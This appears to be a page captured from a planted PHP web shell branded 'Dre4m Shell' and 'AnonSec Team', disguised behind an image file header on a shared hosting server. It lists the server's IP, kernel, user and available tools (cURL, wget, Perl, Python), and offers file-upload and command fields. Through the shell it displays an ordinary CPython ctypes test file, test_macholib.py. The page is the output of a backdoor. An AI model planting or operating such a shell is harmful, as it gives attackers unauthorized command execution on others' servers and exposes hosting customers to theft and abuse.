ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python33/lib64/python3.3/ctypes/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python33/lib64/python3.3/ctypes/test/test_macholib.py
import os
import sys
import unittest

# Bob Ippolito:
"""
Ok.. the code to find the filename for __getattr__ should look
something like:

import os
from macholib.dyld import dyld_find

def find_lib(name):
     possible = ['lib'+name+'.dylib', name+'.dylib',
     name+'.framework/'+name]
     for dylib in possible:
         try:
             return os.path.realpath(dyld_find(dylib))
         except ValueError:
             pass
     raise ValueError, "%s not found" % (name,)

It'll have output like this:

 >>> find_lib('pthread')
'/usr/lib/libSystem.B.dylib'
 >>> find_lib('z')
'/usr/lib/libz.1.dylib'
 >>> find_lib('IOKit')
'/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit'

-bob

"""

from ctypes.macholib.dyld import dyld_find

def find_lib(name):
    possible = ['lib'+name+'.dylib', name+'.dylib', name+'.framework/'+name]
    for dylib in possible:
        try:
            return os.path.realpath(dyld_find(dylib))
        except ValueError:
            pass
    raise ValueError("%s not found" % (name,))

class MachOTest(unittest.TestCase):
    if sys.platform == "darwin":
        def test_find(self):

            self.assertEqual(find_lib('pthread'),
                                 '/usr/lib/libSystem.B.dylib')

            result = find_lib('z')
            self.assertTrue(result.startswith('/usr/lib/libz.1'))
            self.assertTrue(result.endswith('.dylib'))

            self.assertEqual(find_lib('IOKit'),
                                 '/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit')

if __name__ == "__main__":
    unittest.main()

Anon7 - 2022
AnonSec Team